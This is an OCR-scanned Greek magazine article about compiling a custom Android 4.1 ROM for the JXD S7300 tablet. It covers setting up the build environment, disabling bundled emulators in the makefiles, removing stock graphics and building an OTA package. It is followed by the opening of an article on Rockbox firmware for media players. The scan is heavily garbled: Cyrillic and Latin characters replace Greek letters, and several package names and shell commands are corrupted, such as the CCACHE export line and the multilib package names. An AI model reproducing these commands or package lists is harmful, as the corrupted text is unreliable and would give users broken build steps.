libreadline6-dev:i386 libgli-mesa-glx:i386 libgli1-mesa-dev g««-multilib 
mingw32 tofrodos python-markdown libxml2-utils xsltproc zlibig-dev:i386 


Αυτά τα πακέτα περιλαμβάνουν διάφορες βιβλιοθήκες, καθώς και ra απαραίτητα €p- 
γαλεία yia τη μεταγλώττιση. Τελευταίο βήμα ἦταν va ενεργοποιήσουµε το ССАСНЕ. 
Πρόκειται για µια επιλογή που επιταχύνει σημαντικὰ τη μεταγλώττιση μεγάλων npó- 
τζεκτ: 


echo "export USE CCACHE-1" >> .bashrc 
Αυτό ἦταν ὁλο! Μετά апо τα παραπάνω, ro σύὑστημά µας ἦταν ἐτοιμο να υποδεχτεὶ 


τον κὠδικα rou Android, ὁπως επἰσης και να τον µεταγλωττίσει! 


О καλὀς ο κὠδικας 


Ο κὠδικας που λάβαμε απὀ την εταιρἰα 
βρισκόταν σε ἑνα πακέτο .tar.gz. Έτσι, 
ξεκινήσαμε µε ша απλἠ αποσυμµπἰεση: 


tar -zxvf S7300B V2.2.3 0527.tar.gz 


Ὅταν ολοκληρώθηκε η αποσυμπἰεση 
ἡμασταν ἐτοιμοι να δούμε για πρώτη 
фора rov κὠδικα του Android! Anó το 
συμπιεσμένο πακέτο «ξεπετάχτηκαν» 
πάρα πολλοὶ φάκελοι. Ωστόσο, οι περισ- 
σότεροι апо αυτοὺς ἦταν αδιάφοροι για 
την εργασία µας. Εμεὶς εστιάσαµε Kupi- 
ως στον κατάλογο device. Εκεὶ Вріско- 
ута! όλα τα αρχεία που απαιτούνται για 
τη σωστή λειτουργία rou Android στην 
εκάστοτε συσκευἠ. Βέβαια, πρέπει να 
σημειώσουμε бт! δεν ακολουθούν ὁλοι οι 
κατασκευαστές τους ἴδιους κανόνες για 
τη δοµή του Android. Στη δικἠ µας nepi- 
πτωση, yia παράδειγµα, ορισμένα npo- 
γράμματα nou θα έπρεπε va βρἰσκονται 
στον κατάλογο device εἶχαν τοποθετηθεἰ 
στον κατάλογο common. Μερικοί ακόµα 
φάκελοι µε ιδιαίτερο ενδιαφἑρον εἶναι οι 
bionic (περιέχει την ειδικἠ ἐκδοση της 
libc για ro Android), dalvik (περιέχει τον 
κώδικα του Java Virtual Machine για τις 
εφαρμογές), hardware (οι drivers της 
εκάστοτε συσκευής) και out (τα αρχεία 
που προκύπτουν апо τη μεταγλώττιση 
και τα οποία θα μεταφέρουμε στη συ- 
σκευὴ). 


| @ Home х | ДЫ Android Playground х | 
[ψ Android Playground 


i» Power on this virtual machine 
[1] Edit virtual machine settings 


v Devices 
mE Memory 4 GB 
П Processors 8 
E Hard Disk (SCSI) 250 GB 
(*y CD/DVD (IDE) Using file CAPro... 
E Floppy Auto detect 
Шы) Network Adapter ΝΑΤ 
USB Controller Present 
Ф) Sound Card Auto detect 
dm Printer Present 
ΒΒ Display Auto detect 


v Description 


Type here to enter a description of this 
virtual machine. 


To battle station που σηκώσαμε εἶναι ἴσως апо ra 
πιο «βαριά» virtual machines που δημιουργήσαμε 
ποτέ! Όσο περισσότερη μνήμη RAM κι όσους περισ- 
σότερους πυρήνες του δώσουμε, τόσο γρηγορότερα 
θα τελειώσει η μεταγλώττιση rou Android. 
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УУ НА@КЕК 


ÁN 


573008 
| < > ноте 573008 а = ν | | 8 
Places = = = = 
O Recent d αὐ d οἵ 
ft Home abi aml resource bionic bootable 
[δι Desktop = = = = 
O Documents = adi μω a 
€ Downloads build common cts dalvik 
dd Music = ΞΞ = — 
С Pictures «аЙ «ай adi adi 
H videos development device docs external 
(3) Trash — = = = 
== „а αἲ “а = 
Bl Floppy Disk factory frameworks adk hardware 
[6] Computer = - — — 
Network d d d d 
Ө? Browse Net... libcore libnativehelper ndk out 


v 
| - 
| o 
с 
Е 
= 
στ 


packages ilts 


ы 

l| ec | 
σ 
© 


Е 
л | 
11 Η | 
mn - 
3 
т 
3 
B 


sdk uboot 


O κώδικας του 57300 σε όλο του Το μεγαλείο! Στην ou- 
σία εἶναι ro Android 4.1, µε μερικές τροποποιήσεις... 


Μαγειρεύοντας ἑνα ΚΟΜ 


Н διαδικασία nou ακολουθἠσαµε ονομάζεται ROM cooking κι αυτὀ το буора ἐχει επι- 
κρατήσει апо την εποχἠ του Windows Phone 2003. Βέβαια, то ROM cooking αναφέἑ- 
ρεται στο πεἰραγµα των ROM κι ὀχι στην τροποποίηση του κὠδικα. Ωστόσο αποφασἰ- 
caue να υιοθετήσουμµμε τον Оро πολύ апла γιατὶ µας ἀρεσεῖ. Πριν κάνουμε οτιδήποτε, 
εἶναι σημαντικὀ va αποφασίσουµε τι θἐλουµε να κἀνει το δικὀ µας ROM και noc θα 
διαφοροποιείται απὀ το αρχικὀ. 


Κάτι που µας ενοχλούσε στη δικἠ µας συσκευἠ, ὁπως και σε πολλὲς άλλες της ἰδιας 
karnyopiac?, ἦταν η πληθώρα апо άχρηστες εφαρμογές. Н συσκευἠ µας πωλείται ως 
Φορητἠ κονσόλα και οι προγραμματιστὲς αποφάσισαν va τη γεμίσουν µε emulators. 
Αυτό δεν αποτελεἰ κακὴ ιδέα, μόνο που οι συγκεκριμένοι emulators γράφτηκαν πι- 
θανότατα μέσα σε ἑνα απόγευμα και υστερούν σημαντικἁ σε σχέση µε αυτούς που 
θα βρούμε στο Play Store. Κάτι ακόµα nou µας ενοχλούσε, ἧταν τα απαράδεκτα ypa- 
фіка της συσκευής. Το πιθανότερο εἰναι πως η εταιρεία δεν ἐχει κανέναν designer 
στην ομάδα. Κάπως ἑτσι αποφασίσαμε бт! το δικὀ µας ROM 8a ἧταν απαλλαγμένο 
апо τους περιττοὺς emulators, бт! θα διέθετε καλύτερα үрафка κατὰ ro boot, Ka- 
BWG κι ἑνα ομορφότερο background! 


1. Όπως εξάλλου και то кало φαγητό, παρ’ ὁλο nou δεν та πάμε καλά στην κουζίνα ;) 
2. Μιλάμε για κινέζικα tablets των 100€. 
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Χτίστε το δικό σας Android ROM! 
LLL 


drawable-mdpi 


< |» * | overlay packages apps Settings res drawable-mdpi : а = NES у Le: 
Places — © (17, 
ES 
© Recent ic menu add.png ic settings about. ic settings - ic settings - 
fi Home png accessibility.png applications.png 
[πι Desktop 2) Я 4 e 
D Εν’ ic settings backup. ἰς settings battery. ic settings data | ic settings date 
Ψ Downloads png png usage.png time.png 
d () Xr ss = 
Шз Pictures Em 
Е іс settings - ic settings display. ic settings ic settings hdmi. 
H videos development.png png ethernet3.png png 
D Trash [A] 
A ® E “) 
Devices " 
ic settings ic settings ic settings ic settings sound. 
Bi Floppy Disk language.png location.png security.png png 
[5 Computer ως 
e = 
Network z 
ic settings storage. ic settings sync. ic settings 
©? Browse Net... png png wireless.png 


Αυτά τα εικονίδια ἦταν η apoppr, yia va ασχοληθεί o γράφων µε то 
χτίσιμο των Android ROMs. Μα, πείτε κι εσείς, δεν εἶναι κακάσχημα; 


Ἄχρηστες εφαρμογὲς και πειρατικἁ αρχεία 


Κάθε φάκελος µε τον nnyaio κὠδικα *прёп&!* να περιέχει ἑνα αρχείο µε то ὀνομα 
Android.mk. To εν λὀγω αρχείο περιἐχει τους κανόνες μεταγλώττισης για τον κὠῴδικα 
που περιλαμβάνει ο αντίστοιχος φάκελος. Πα παράδειγµα, av ἐχουμε &vav φάκελο 
που περιέχει μερικά δικἁ µας wallpapers, το Android.mk θα εἶναι υπεύθυνο για τη 
σωστὴ αντιγραφἠ τους στον κατάλογο που πρέπει. Δυστυχώς, οὐτε κι εδώ ακολου- 
θούνται τα npóruna και οι προγραμματιστὲς των διαφόρων κατασκευαστών κάνουν 
ότι θέλουν! Ευτυχώς για εμάς, οι τροποποιήσεις τους ἦταν μαζεμένες с’ ἑνα αρχείο 
και ὀχι διασκορπισμένες. Οι *тєАїкёс* ρυθμίσεις για την εκάστοτε συσκευἠ βρἰ- 
σκονται στο αρχείο AndroidProducts.mk, µέσα στον κατάλογο device. Στη δικἠ µας 
περίπτωση, το αρχείο AndroidProducts.mk rou JXD 57300 βρισκόταν στον κατάλογο 
device/amlogic/softwin?. Σε αυτό το αρχείο περιμέναμε να βρούμε ёха κατεβατὸ 
ρυθμίσεων. Ωστόσο, το μόνο που βρήκαμε ἦταν µια αναφορά προς ёха ἆλλο αρχείο. 
Οι προγραμματιστὲἑς της JXD πρωτοτύπησαν και палі: 
PRODUCT MAKEFILES := \ 
$(LOCAL DIR)/softwin.mk \ 


Έτσι, κλεἰσαµε ro AndroidProducts.mk και avoi&aue ro softwin.mk. Μέσα σ΄ αυτό 
βρήκαμε ша λίστα µε όλα τα αρχεία και τις εφαρμογές που προστίθενται στο τελικὀ 
Android ROM. Με µια γρήγορη ратй, εντοπἰσαμε το ακόλουθο κομμάτι ρυθμίσεων: 


3. Αναρωτιέστε γιατί δεν βρισκόταν στον κατάλογο device/jxd/s7300, που ακούγεται nio λογικό; ΟΙ προγραμματιστές αποφάσισαν va χρησιµο- 
ποιήσουν τα ονόματα του κατασκευαστή του 5ος κι ὀχι το ὀνομα της συσκευής... Τρέχα γύρευε! 
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PRODUCT PACKAGES += \ 
Gbairod.apk \ 
Gensirod.apk V 
[πάρα πολλά αρχεία που θα γέμιζαν ολόκληρες σελίδες] 
libnes.so \ 
jgame.apk 


Μόλις εἰχαμε εντοπίσει τους emulators nou περιλαμβάνει ro Android ROM της ou- 
σκευἠς µας. Εμείς δεν θέλουμε κανέναν, οπὀτε η εκκαθἀρισή µας ξεκίνησε апо 
εδὠ. Πα την «αφαίρεση» των προγραμμάτων εἰχαμε δύο επιλογἐς: Eire να σβήσουμε 
εντελώς τις γραμμές µε τις ανεπιθύμητες εφαρμογές, eire να προσθέσουμε στην 
apxr| καθεµίας µια δίεση (4). Με rov δεύτερο τρὀπο, οι αντίστοιχες γραμμές αντιµε- 
τωπἰζονται ως σχόλια και τα προγράµµατα που αναφέρουν δεν αντιγράφονται ото 
τελικὀ ROM. Όπως αντιλαμβάνεστε, η δεύτερη επιλογή αποτελεἰ την πιο συνετἠ 
προσέγγιση, αφού θα µας επιτρέπει στο μέλλον να αναιρέσουµε εύκολα τις όποιες 
αλλαγές. Εμεἰς βάλαμε µια δίεση σε κάθε γραμμή του παραπάνω μπλοκ ρυθµἰσεων! 
Δεν θέλαμε κανέναν κινέζικο emulator :D 


WIDGETS 


m 9 9 


Appinstaller 56 Calendar Camera 


B а Z 


Dev Toals Downloads FileBrowser Flash Player S 


Game X GBA Emulator c MAME Emulat MD emulator 


e 


^ 


N64 emulator Nes emulator Search Settings 


Ένα каро εφαρμογές! Н αλήθεια εἶναι πως δεν τις έχουμε 
χρησιμοποιήσει ποτὲ και, µετά την δημιουργία του ROM, то 
σίγουρο εἰναι πως δε θα τις ξανασυναντήσουμε ποτέ! 


Λίγο παρακάτω και πάντα μέσα στο αρχεἰο softwin.mk, εντοπἰσαμε ἑνα ακόµα τµήµα 
που θα θἐλαµε να απενεργοποιηθεἰ. Το λειτουργικὀ της συσκευἠς µας περιελάμβανε 
και £vav emulator yia ro Playstation 1. Όπως υποψιάζεστε, AUTÒ το κομμάτι µετα- 
τράπηκε επἰσης σε ἑνα μεγάλο σχόλιο: 


#ааа for ps emulator by samty 
PRODUCT PACKAGES += \ 
com.emulator.fpse-1.apk \ 
libfpse.so \ 
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Χτίστε το δικό σας Android ROM! 
ML 


[x] giannoug(Dandroid-playground: -/S7300B 


giannougQandroid-playground:-/57300BS$ source build/envsetup.sh 
including device/amlogic/g24ref/vendorsetup.sh 

including device/amlogic/g33refNew1G/vendorsetup.sh 

including device/amlogic/g33refNew/vendorsetup.sh 

including device/amlogic/softwin/vendorsetup.sh 

including sdk/bash completion/adb.bash 
giannougQandroid-playground:-/57300B$ lunch 


You're building on Linux 


Lunch menu... pick a combo: 
1. full-eng 

full x86-eng 

vbox x86-eng 

g24ref-eng 


g24ref-user н à i АА 
Ззгегнён1С-еп Αμέσως µετά TO σετάρισµα του περιβά οντος 

9 9 μεταγλώττισης, θα χρειαστεί να επιλέξουμε το 

g33refNewiG-user target-device, δηλαδή τη συσκευή yia την οποία 

ile θα γίνει η μεταγλώττιση! 

g33refNew-user 

softwin-eng 

softwin-user 


[ÍAO'wwo-oOud&UuNN 


ы 


Which would you like? [full-eng] Ё 


libsdl.so \ 
libjnigraphics.so \ 
libopengl.so \ 
libzControllerLib Android.so 


Av αποφασίσουµε va nai&oupe παιχνίδια του Play Station 1, θα κατεβάσουµε rov 
emulator апо ro Play Store. Με αυτόν rov τρόπο θα εἱμαστε βέβαιοι ὁτι £youpe και 
τη νεότερη ἐκδοση! Με την ευκαιρία, σημειώστε Ori то fpse εἶναι єрпоріко πρὀγραμ- 
μα. Κατὰ πάσα πιθανότητα, η ἐκδοση που περιλαμβάνει το Android της συσκευής 
μας εἶναι πειρατική! Εξάλλου, κοιτάζοντας λίγο παρακάτω, συναντήσαμε ro BIOS* 
του Play Station 1, όπως και μερικά παιχνίδια για τις κονσόλες που υποστηρίζει η 
συσκευή. Συνοψίζοντας, οτιδήποτε εἶχε να κάνει µε προεγκατεστημένες εφαρμογές, 
περίεργα αρχεία και προεγκατεστηµένα παιχνίδια, απενεργοποιἠθηκε! 


Βελτιωμένα γραφικἀ 


Αφού εξασφαλἰσαμε ὁτι το δικὀ µας ROM θα εἶναι απαλλαγμένο απὀ τις περιττὲς 
εφαρμογές, αποφασίσαμε να ασχοληθούμε µε το εικαστικὀ κομμάτι. 

Στο πακέτο µε τον nnyaio κὠδικα του Android, υπάρχει και ο φάκελος overlay. Οτι- 
δήποτε τοποθετηθεί εκεἰ αντιγράφεται στο τελικὀ ROM κι αντικαθιστά τα αντίστοιχα 


αρχεία του «επίσημου» Android. О εν λὀγω φάκελος αναφέρεται και µέσα στο αρχείο 
softwin.mk: 


# Overlay for device specific settings 
DEVICE PACKAGE OVERLAYS :- $(LOCAL PATH)/overlay 


4. То BIOS χρειάζεται για την σωστή εξομοίωση των συσκευών και η διακἰνησἠ του εἶναι παράνομη, αφού αποτελεί ιδιοκτησία της SONY! 
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System Monitor 


Processes | Resources| | File Systems 


CPU History 


100% 3 


75 
50 
259 
0% ΗΕ нонии нанар 
60 seconds 50 40 30 20 10 0 
ШШ ερυ1 81,8% ШИ «ρυ2 87,6% IB] cru 87,6% ШШ crus 95,1% 
ШШ crus 93,8% ШШ crus 91,1% ШШ «ρύ7 86,5% ШШ срив 85,7% 
Memory and Swap History 


100" 


Метогу Swap 
1,3 GiB (34,196) of 3,9 GiB 256,1 MiB (12,596) of 2,0 GiB 
Network History 
0,8 KB/s 
0,5 KB/s 
02 кве 


ad "dodi τς 40 30 E 0 ò 
9 Receiving 0 bytes/s Ф Sent 0 bytes/s 
Total Received 2,0 MiB Total Sent 158,4 KiB 


To σύστημα γονάτισε κατά τη διάρκεια της HETA- 
γλώττισης :5 Μην ξεχνάτε ότι έχουμε να κάνουμε 
µε éva υπερπλήρες λειτουργικὀ σύστημα... 


Πα την αισθητικἠ βελτίωση του δικού µας ROM, ξεκινήσαμε апо τα εικονἰδια στο 
μενού των ρυθμίσεων. Πα κἀποιο λὀγο, οι προγραμματιστὲς της JXD εἶχαν χρησι- 
μοποιήσει κάποια ἐγχρωμα εικονίδια, τα οποία όμως δεν ταἰριαζαν καθόλου µε то 
υπόλοιπο περιβάλλον. Ta εικονἰδια ra εντοπἰσαμε στον κατάλογο overlay/packages/ 
apps/Settings/drawable-mdpi. Όπως καταλαβαίνετε, θα μπορούσαμε va та εἰχα- 
µε αντικαταστήσει µε τα δικἀ µας, αλλά εμείς προτιμάμε την εμφάνιση rou stock 
Android. Έτσι, προχωρήσαμε σε ша απλἠ διαγραφἠ όλων των εικονιδίων nou Bpi- 
Kape εκεἰ μέσα. 


Συνεχίσαμµε µε την ἴδια λογική και yia το προεπιλεγμένο background image. Τη σχε- 
τικἠ εικόνα την εντοπἰσαμε στο overlay/frameworks/base/core/res/res/drawable- 
sw600dp-nodpi. Όπως και µε τα εικονίδια, θα μπορούσαμε να αντικαταστήσουμε 
την εικὀνα µε κάποια ἄλλη της επιλογἠς µας, αλλά εµεἰς προχωρήσαµε σε ша апл 
διαγραφή! Τέλος, αντικαταστήσαμε και το boot animation. Όσοι ¿xouv ασχοληθεί µε 
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Android modding, θα ἐχουν συναντήσει πολλὲς φορὲς ro πακετάκι bootanimation. 
zip. Μέσα σε αυτὸ περιἐχονται μερικά frames, τα οποία εμφανίζονται στην οθόνη 
διαδοχικἁ για όσο φορτώνει το λειτουργικὀ. Στο Internet υπάρχουν πολλὰ τέτοια 
πακέτα και μπορούμε να χρησιμοποιήσουμε οποιοδήποτε µας αρέσει, εξασφαλἰζο- 
ντας povo ὁτι περιλαμβάνει εικὀνες της ἴδιας ανάλυσης. Εμεἰς πάντως διαγράψαμε 
το bootanimation που εἶχαν προσθέσει οι κινέζοι developers και δεν προσθέσαμε 
κανένα. Αφήσαμε το Android να χρησιμοποιήσει το δικὀ του! 


Χτίζοντας το Android! 


Μετὰ апо τα παραπάνω, εἰχαμε ξεμπερδέψει µε ὁλες τις επεμβάσεις που θέλαμε va 
κάνουμε στο Android. Σειρά εἶχε η μεταγλώττιση --το πιο χρονοβόρο στάδιο της δια- 
δικασἰας! Τα βήματα που χρειάστηκε να κάνουμε ἦταν µόνο τρία, αν και апо συσκευἠ 
σε συσκευἠ ενδέχεται va διαφἐρουν. Το σίγουρο εἶναι От! µε µια σύντομη αναζήτηση 
στο internet θα βρείτε αµέσως τις σχετικἐς οδηγίες. Στη δικἠ µας περίπτωση ξεκινἠ- 
caue δίνοντας AUTÒ: 


source build/envsetup.sh 


Με την εκτέλεση του παραπάνω φορτώθηκαν ορισμένες μεταβλητὲς περιβάλλοντος 
και, γενικότερα, προετοιµάστηκε το περιβάλλον της µεταγλὠττισης. Αμέσως μετὰ 
δώσαμε αυτό: 


lunch 


Н εκτἑλεση του παραπάνω εμφάνισε µια λίστα µε συσκευές, για τις οποίες θα uno- 
ρούσαμε να µεταγλωττίσουμε rov κὠδικα. Σε αυτἠ τη λίστα θα δείτε ὁτι ορισμένες 


To Android παίρνει σιγά-σιγά την τελική του μορφή. 
Едо πραγματοποιείται η μεταγλώττιση του ШММ! 


© giannoug(android-playground: -/cm 


libLLVMMC <= external/llvm/lib/MC/MCMachOStreamer.cpp 
libLLVMMC external/llvm/lib/MC/MCNullStreamer.cpp 
libLLVMMC <= external/llvm/lib/MC/MCObjectFileInfo.cpp 
libLLVMMC external/llvm/lib/MC/MCObjectStreamer.cpp 
libLLVMMC external/llvm/lib/MC/MCObjectWriter.cpp 
libLLVMMC external/llvm/lib/MC/MCRegisterInfo.cpp 
libLLVMMC external/llvm/lib/MC/MCSection.cpp 
libLLVMMC external/llvm/lib/MC/MCSectionCOFF.cpp 
libLLVMMC external/llvm/lib/MC/MCSectionELF.cpp 
libLLVMMC external/llvm/lib/MC/MCSectionMachO.cpp 
libLLVMMC external/llvm/lib/MC/MCStreamer.cpp 
libLLVMMC «- external/llvm/lib/MC/MCSubtargetInfo.cpp 
libLLVMMC external/llvm/lib/MC/MCSymbol.cpp 
libLLVMMC <= external/llvm/lib/MC/MCTargetAsmLexer .cpp 
libLLVMMC external/llvm/lib/MC/MCValue.cpp 

libLLVMMC external/llvm/lib/MC/MCWin64EH.cpp 
libLLVMMC <= external/llvm/lib/MC/WinCOFFObjectWriter.cpp 
libLLVMMC external/llvm/lib/MC/WinCOFFStreamer.cpp 
libLLVMMC «- external/llvm/lib/MC/SubtargetFeature.cpp 
libLLVMSupport «- external/llvm/lib/Support/Allocator.cpp 
libLLVMSupport external/llvm/lib/Support/APFloat.cpp 
libLLVMSupport external/llvm/lib/Support/APInt.cpp 
libLLVMSupport external/llvm/lib/Support/APSInt.cpp 
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H πρώτη εγκατάσταση του ROM, апо το recovery 
menu του S7300! H εγκατάσταση διαρκεί μονάχα 
uepiká λεπτά, ενώ δεν χάνουμε τίποτα апо боа 

ενδέχεται να έχουμε αποθηκεύσει στη συσκευή ;) 


συσκευὲς αναφέρονται δύο φορὲς. Τη uia µε την κατάληξη -eng και την ἄλλη µε την 
κατάληξη -user. Οι επιλογές µε την πρώτη κατάληξη (апо το engineer) παράγουν 
δοκιμαστικὲς εκδόσεις, EVO OI επιλογἐς µε τη δεύτερη κατάληξη παράγουν τελικὲς 
εκδόσεις. Εμεὶς επιλέξαμε το softwinner-user, το οποίο αντιστοιχεί στη συσκευἠ 
μας. Αμέσως μετά συνεχίσαμε, δίνοντας τα εξής: 


make -j9 

make otapackage -j9 
Н παράμετρος -j9 δηλώνει бт! η διαδικασία της µεταγλὠττισης θα Χρησιμοποιεί 9 
διεργασίες! Το τερµατίσαµε το σύστημα :) Με την εκτέλεση του πρώτου make ξεκἰ- 
νησε η μεταγλώττιση του Android, η οποία διήρκεσε λίγο περισσότερο апо pia ора. 
Н εκτέλεση του δεύτερου make, ετοίμασε το λεγόμενο «Over The Air package». An- 
λαδή, ἑνα πακέτο ZIP µε ολόκληρο то λειτουργικὀ. Με αυτό το пакёто θα μπορούμε 
αργότερα va αναβαθµίσουµε τη συσκευή µας. 
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Settings Settings 


WIRELESS & NETWORKS WIRELESS & NETWORKS 
BB Ethernet OFF EE Ethernet 
Data usage Q Data usage 


More... More... 


DEVICE DEVICE 


HDMI Γη HDMI 
аф) Sound d) Sound 
Display #} Display 


Storage & Storage 


Εἰ Battery & Battery 


To пало ка! το νέο μενού ρυθμίσεων! Τα ἄσχημα εικον/- 
δια εξαφανίστηκαν kai ο Κύριος που πατάει ra κουμπάκια 
αυτή τη στιγμή εἶναι απόλυτα ευχαριστημένος :D 


Па το JXD 57300, то µόνο που χρειάστηκε να κάνουμε ἦταν να ρίξουμε ro ZIP μέσα 
στην карта SD και να ξεκινήσουμε τη συσκευή κρατώντας πατημένο το κουμπί 
Volume-Up. Έτσι, αυτή μπήκε στο μενού Recovery κι апо εκεἰ επιλἐξαµε την ava- 
βάθμισήἠ της µε ro пакёто που βρισκόταν στην карта μνήμης. 


Κλείνοντας 


Όπως καταλαβαίνετε, τα κινέζικα tablets αποτελούν τη χαρά όλων ὁσοι θέλουν να 
κάνουν πειράματα. Εκτὸς апо το Or! ἐχουν τεράστια περιθώρια βελτίωσης, εἶναι 
εντελώς ξεκλείδωτα για να µπορεί va ra πειράζει ο καθένας. Το συγκεκριµένο tablet, 
καθώς κι όσα βασίζονται στο SoC Amlogic AML8726-MX, εἶναι εξ ορισμού ρυθµισμµέ- 
να ὡστε να εκτελούν οτιδήποτε βρίσκουν στην карта SD. Πα παράδειγµα, θα pno- 
ρούσε κανεὶς va ρίξει ἑναν πυρήνα στην карта και χωρίς поло KONO να φορτώσει στη 
συσκευἠ οποιαδήποτε διανομὴ Linux. Προφανώς auró δηµιουργεἰ τεράστιες τρύπες 
ασφάλειας, αλλά διευκολύνει πολὺ και τα πειράματα. 
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Αναζωογονήστε αγ 


Οι φορητοί media players εἶναι οι καλύτεροι φίλοι για πολλούς апо εμάς 
στο δρόμο, στη βόλτα και, ειδικἁ тора ro καλοκαιράκι, στην παραλία. 
Σίγουρα ὀλοι µας θα θἐλαµε va 'ουν περισσότερες δυνατότητες, να 
αναγνωρίζουν πολλά media formats και γενικά να εἶναι Ото το δυνατὸν 
πιο ευἑλικτοι. To Rockbox εἶναι ἑνα εναλλακτικὀ λειτουργικὀ σύστημα 
για φορητούς media players, µε τη βοήθεια του οποίου θα δώσουμε στη 
συσκευἠ µας ἐναν αἐρα ανανέωσης και ελευθερἰαςπου, ως ανήσυχα 
πνεύματα που εἴμαστε, τόσο επιζητούμε! 


: Βναζωογονήστε αγαπημένα σα ацег 
ML 


О αλγόριθμος απωλεστικἠς cuunieong rxou MPEG Audio Layer III, ката κόσμον 
МРЗ, κάπου εν ἐτει 1998 μετέτρεψε τους ταπεινοὺς µας υπολογιστὲς σε εντυπωσι- 
ακὲς δισκοθήκες κι ἄλλαξε δραματικἁ το топіо στον κόσμο των φορητών συσκευών 
αναπαραγωγἠς µουσικἠς. Н αρχἠ ἐγινε µε τη µορφἠ φορητών CD Players, οι οποἰοι 
εἶχαν τη δυνατότητα αναπαραγωγἠς data CDs µε αρχεία МРЗ. Στη συνέχεια εμφα- 
νἰστηκαν οι συσκευές µε ενσωματωμένο σκληρὸ δίσκο κι αργότερα µε μνήμη flash. 
Πολύ σύντομα, η αγορἀ κατακλύστηκε µε προτάσεις για κάθε γούστο και βαλάντιο. 


Αυτές οι ηλεκτρονικὲς συσκευὲς ειδικού σκοπού, πέρα апо την κύρια λειτουργία τους 
που δεν εἶναι ἄλλη апо την αναπαραγωγἠ αρχείων МРЗ κι ἄλλων sound formats, 
πολλὲς φορὲς ενσωματώνουν και κάποιες επιπλἑον λειτουργἰες — αν και συχνά σε 
πολὺ περιορισμένη ἐκταση. Φυσικά, δεν λείπουν και οι περιπτώσεις ὁπου οι επιταγὲς 
του τμήματος marketing της εκάστοτε εταιρείας στερούν σκοπίμως δυνατότητες 
апо αυτές. Άλλες φορὲς пал δυσκολεύουν τη ζωή των ιδιοκτητών τους µε διάφορα 
κλειδώματα και παραξενιὲς (βλέπε, π.χ., χρήση προγράµµατος του κατασκευαστή 
για το πέρασμα αρχείων και παρεμπόδιση του απλού drag'n'drop), ενώ yia την uno- 
στήριξη µη-εμπορικών, ανοικτὠν sound formats (OGG, FLAC к.а.) συνήθως οὐτε 
καν λὀγος γίνεται! 


Πα τους λόγους αυτούς ξεκίνησε το 2001 η ανάπτυξη rou Rockbox, ενὸς εναλλα- 
κτικού λειτουργικού συστήματος ανοικτού κὠδικα για media players. Κύριος στὀχος 
του σχετικού πρὀτζεκτ εἶναι η дроп των ὀποιων περιορισμών και η απελευθἐρω- 
ση των δυνατοτήτων των υποστηριζόμενων συσκευών. Н αρχική υλοποίηση του 
Rockbox υποστήριζε та МРЗ players µε σκληρὀ δίσκο και οθόνη LCD µιας үрар- 
µής της Archos. Συν τω χρόνω ro Rockbox εμπλουτιζόταν, φτάνοντας στο σηµείο 
να υποστηρίζει σύγχρονα players µε ἐγχρωμες οθόνες υψηλἠς ανάλυσης, ισχυρὀ 
hardware και προηγμένες δυνατότητες αναπαραγωγἠς/εγγραφἠς ἠχου. Εἶναι πολύ 
ευχάριστο το γεγονὸς ότι η ανάπτυξη του Rockbox συνεχίζεται ακόµη και σήμερα, µε 
διεύρυνση των υποστηριζόμενων συσκευών και την παροχἠ νέων δυνατοτήτων. To 
version control system nou χρησιμοποιεἰ η ομάδα ανάπτυξης του Rockbox εἶναι то 
πολύ δημοφιλές Git! και κάθε τἐσσερις μήνες έχουμε νέα, σταθερή ἐκδοση. 


Υποστηριζόμενα formats 


To Rockbox υποστηρίζει πάνω апо 35 sound formats. 


12 anoAsorikà sound formats 


.852, .ac3, .rm, .ra, .rmvb 
.m4a, .m4b, .mp4, .rm, .ra, .rmvb 
тра | 


Musepack .mpc 


Speex 


1. Tlepicoórepa για ra Version Control Systems μπορείτε να διαβάσετε ora оҳетіка άρθρα rou Sonic, στα deltaHacker 003 και 004. 
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Dialogic telephony type 
Windows Media Audio Standard 
Windows Media Audio Professional 


10 µη απολεστικἁ sound formats 


14 ἀλλα εἶδη αρχείων ἠχου 


Atari Sound Format .cmc, .cm3, .cmr, .cms, .dmc, .dilt, 
.mpt, .mpd 


Synthetic music Mobile Application Format [mmt _  — 
Game Boy Sound forma [з — — — 
TY Sound Chip muse —  — av = o= τη" 
Hudson Entertainment System Sound Format [hes — | 
[MSX Konami Sound System [ке 
soo 
КТИ 
КТИ 
та 


SMS/GG/CV Sound Format 
Video Game Music Format 
Gzipped Video Game Music Format 


[mansag —— E --Ἓ 
επ Deve foa —  — 
оо 


Χαρακτηριστικά αναπαραγωγἠς 


.mmf 
.gbs 
ау 
Πες 
.kss 
.Sgc 
мт 
№92 
‚тоа 
‚бар 
.sid 
.Spc 


Пёра апо rnv αναγνώριση µιας πληθώρας αρχείων ἠχου διαφορετικών formats, то 
Rockbox προσφέρει πολλὲς λειτουργίες που σχετίζονται µε την αναπαραγωγή των 
κομματιών και συνήθως δεν υλοποιούνται апо το αυθεντικό firmware των συσκευ- 
Qv. Ανάμεσα σε αυτὲς ξεχωρίζουν οι ακόλουθες. 
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e Avanapayoyr| δίχως kevà μεταξύ των κομματιών 

ο Οµαλἠ μετάβαση апо το ёха κομμάτι στο алло 

ο Πλήρως παραμετροποιἠσιµος ισοσταθµιστἠς 

e Δυναμικὲς λίστες αναπαραγωγἠς (δηµιουργία ката την αναπαραγωγἠ) 

ο Υποστήριξη παραμετροποιἠσιµων θεμάτων για το περιβάλλον του 

ο Εγγραφἠ ἠχου апо ro µικρὀφωνο ἡ ro ραδιόφωνο, σε διάφορες μορφὲς 
e Απομακρυσμένος ἐλεγχος (για ορισμένες συσκευὲς) 

ο Ψηφιακή ἐξοδος ἠχου (για ορισμένες συσκευές) 

ο Υποστήριξη cue sheets 


e Χρονόμετρο µε λειτουργία ύπνου 


ο Εικόνες άλμπουμ για та αναπαραγὀµενα κομμάτια 


Πρόσθετα 


Οι δυνατότητες που προσφέρει το 
Rockbox μπορούν να επεκταθούν µε 
τη χρήση plug-ins. Στο site του project 
υπάρχει поло μεγάλη ποικιλία και διαθὲ- 
σιµες πληροφορἱες γι’ αυτά. Μεταξύ ал- 
λων, διαθέσιμα εἶναι τα ακόλουθα: 


ο Πρόσθετο προβολἠς εικόνων JPEG 
e Μετατροπέας WAV σε МРЗ 
ο MIDI player 


ο O εξομοιωτὴς Rockboy (port του 
Gnuboy, ενός εξοµοιωτἠ Tou Game 
Boy) 


ο О εξομοιωτὴς ZXBox (port του 
Spectemu, ενός εξοµοιωτἠὴ του ΖΧ 
Spectrum) 


А А : To Doom, στη λιλιπούτεια οθόνη rou iPod Nano 2G. 
